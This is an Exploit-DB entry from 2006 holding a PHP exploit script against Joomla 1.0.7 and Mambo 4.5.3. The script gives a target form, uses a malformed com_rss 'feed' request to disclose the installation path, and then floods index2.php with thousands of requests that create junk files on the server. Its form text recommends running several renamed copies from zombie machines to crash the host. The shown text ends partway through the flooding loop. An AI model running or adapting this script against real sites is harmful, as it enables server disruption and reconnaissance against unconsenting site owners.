Exploit-DB #1698
Description: Joomla! 1.0.7 / Mambo 4.5.3 - 'feed' Full Path Disclosure / Denial of Service
Type: webapps
Platform: php
Date: 2006-04-19
Author: trueend5

Exploit:
<?php
#             Mambo/Joomla Path Disclosure & Remote DOS Exploit               #
#                               by trueend5                                   #
#              Computer Security Science Researchers Institute                #
#                           [http://www.KAPDA.ir]                             #
#                                                                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Mambo/Joomla Remote DOS Exploit</title>
</head>

<body bgcolor="#FFCCFF">

<p align="center"><font size="4" color="#0000FF">Mambo/Joomla Path Disclosure &
(IIS Server-isapi mod) Remote Denial Of Service</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Science Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
<p align="center">&nbsp;</p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex:
          /mambo/
          or just / )</span></p>
          <p><input name="pref" size="20"> <span class="Stile5">prefix (default is
			"kap")</span></p>
          <p>&nbsp;useful when you want to Run this script
			twice or more at the same time against a target For DDOS.</p>
			<p>&nbsp; to perform it Just rename this file and choose a different
			prefix and run the exploits from your system ,</p>
			<p>&nbsp; remote locations or from&nbsp; zombies machines.</p>
			<p>&nbsp; (quintuplet or more is recommended to cause&nbsp; remote server
			crash for a none dedicated host)</p>
          <p><input name="port" size="20"><span class="Stile5"> specify a port&nbsp;
          (default is 80)</span></p>
          <p><input name="proxy" size="20"><span class="Stile5"> send exploit
          through an HTTP proxy (ip:port)</span></p>
          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
          * </font>fields are required</span></p>
          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>

          <p><input type="submit" value="Start" name="Submit"></p>
        </form>
      </td>
    </tr>
  </tbody>
</table>
</body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".$headeri[$li+$ki]."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".$datai."</td>";
    }
    else {
      echo "<td>".$datai."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".$headeri[$li]."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  //if ($GLOBALS['view']==1) {echo nl2br(htmlentities($html));}
}

$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$pref=$_POST[pref];

if (($host<>'') and ($path<>'')){
{
  $port=intval(trim($port));
  $pref=(trim($pref));
  if ($port=='') {$port=80;}
  if ($pref=='') {$pref='kap';}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  echo ' Try to find installaton path ...';
  $packet="GET ".$p."index2.php?option=com_rss&feed=test\/>"." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("fopen",$html)){
  $arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is:\n","\n\n\n\n");
  $html = str_replace($arr, $rep, $html);
  echo nl2br(htmlentities($html));} else
  {echo "error reporting is Off, Can not receive the installation path";}
 }
  echo "try to create superfluous files on remote server: \r\n";
  for ($n = 1; $n <= 4000; $n++) {
  $packet="GET ".$p."index2.php?option=com_rss&feed=".$pref.$n." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";